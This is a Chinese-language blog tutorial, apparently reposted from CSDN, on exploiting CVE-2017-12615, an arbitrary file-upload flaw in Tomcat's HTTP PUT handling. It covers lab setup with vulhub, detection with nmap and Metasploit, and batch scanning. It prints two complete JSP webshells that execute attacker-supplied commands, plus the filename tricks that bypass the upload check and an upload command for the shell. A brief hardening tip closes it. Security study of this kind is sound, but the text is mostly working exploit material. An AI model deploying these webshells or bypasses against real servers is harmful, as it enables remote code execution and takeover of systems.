CVE-2017-12615 Tomcat PUT 任意文件上传 漏洞利用教程


漏洞描述

  在Tomcat中发现了一个漏洞,该漏洞中,如果将servlet上下文配置为readonly = false并允许HTTP PUT请求,则攻击者可以将JSP文件上载到该上下文并实现代码执行。

影响版本

tomcat 7.0.0至7.0.79

漏洞环境搭建

使用vulhub直接docker一键启动环境CVE-2017-12615环境

docker快速入门以及漏洞环境搭建

下载安装好vulhub后进入/tomcat/CVE-2017-12615目录,执行以下命令

docker-compose up -d

在这里插入图片描述
然后查看当前虚拟机ip,并访问8080端口,即可出现tomcat页面

漏洞检测

注意:如果我们使用put协议创建一个目标已存在的文件,那么这个文件会被覆盖,大家在实战中千万不要put到index或已存在的中进行测试。

nmap

命令:

#nmap -p <端口> <ip> --script http-put --script-args http-put.url="<上载到服务器的本地文件的完整路径>",http-put.file='<将文件存储到的远程目录和文件名>'
nmap -p 8080 192.168.234.138 --script http-put --script-args http-put.url="/test1.txt",http-put.file='E:\1.txt'

我在我E盘下新建了一个1.txt ,内容为:test put

在这里插入图片描述
提示successfully created表示上传成功,我们手动访问

在这里插入图片描述

msf

msfconsole

search http_put
use auxiliary/scanner/http/http_put

set filedata 'test put111'
set filename test1.txt
set rhosts 192.168.234.138
set rport 8080
show options 

在这里插入图片描述

设置好后run,可提示一个加号说明上传成功

在这里插入图片描述

在这里插入图片描述

批量检查put

  • namp ip扫描规则或使用 -iL 参数进行批量检测

在这里插入图片描述

msf批量检测不太稳定,我批量检测时不行,单个ip却可以,不建议使用msf。

在这里插入图片描述

漏洞利用

linux一句话木马:

# cmd2.jsp
<%
    if("023".equals(request.getParameter("pwd"))){
    
    
        java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
        int a = -1;
        byte[] b = new byte[2048];
        out.print("<pre>");
        while((a=in.read(b))!=-1){
    
    
            out.println(new String(b));
        }
        out.print("</pre>");
    }
%>

windows一句话木马:

#windowscmd.jsp

<%@ page import="java.util.*,java.io.*,java.net.*"%>
<HTML><BODY>
<FORM METHOD="POST" NAME="myform" ACTION="">
<INPUT TYPE="text" NAME="cmd">
<INPUT TYPE="submit" VALUE="Send">
</FORM>
<pre>
<%
if (request.getParameter("cmd") != null) {
        out.println("Command: " + request.getParameter("cmd") + "\n<BR>");
        Process p = Runtime.getRuntime().exec("cmd.exe /c " + request.getParameter("cmd"));
        OutputStream os = p.getOutputStream();
        InputStream in = p.getInputStream();
        DataInputStream dis = new DataInputStream(in);
        String disr = dis.readLine();
        while ( disr != null ) {
                out.println(disr); disr = dis.readLine(); }
        }
%>
</pre>
</BODY></HTML>

默认 tomcat 也不允许 PUT 上传 jsp 和 jspx 文件的,因为后端都用org.apache.jasper.servlet.JspServlet 来处理 jsp 或是 jspx 后缀的请求了,而 JspServlet 中没有 PUT 上传的逻辑,PUT 的代码实现只存在于 DefaultServlet 中。

这个漏洞的根本是通过构造特殊后缀名,绕过了 tomcat 检测,让它用 DefaultServlet 的逻辑去处理请求,从而上传 jsp 文件。

目前主要三种方法:

  • evil.jsp%20
  • evil.jsp::$DATA
  • evil.jsp/

我们在put上传时也需要修改文件名绕过

nmap -p 8080 192.168.234.138 --script http-put --script-args http-put.url="/cmd.jsp/",http-put.file='E:\1.txt'

在这里插入图片描述
访问木马文件:

在这里插入图片描述

漏洞加固

修改tomcat目录下的conf/web.xml文件,找到readonly在这里插入图片描述
false设置为true

在这里插入图片描述

参考文章

https://paper.seebug.org/399/

猜你喜欢

转载自blog.csdn.net/weixin_41924764/article/details/109684870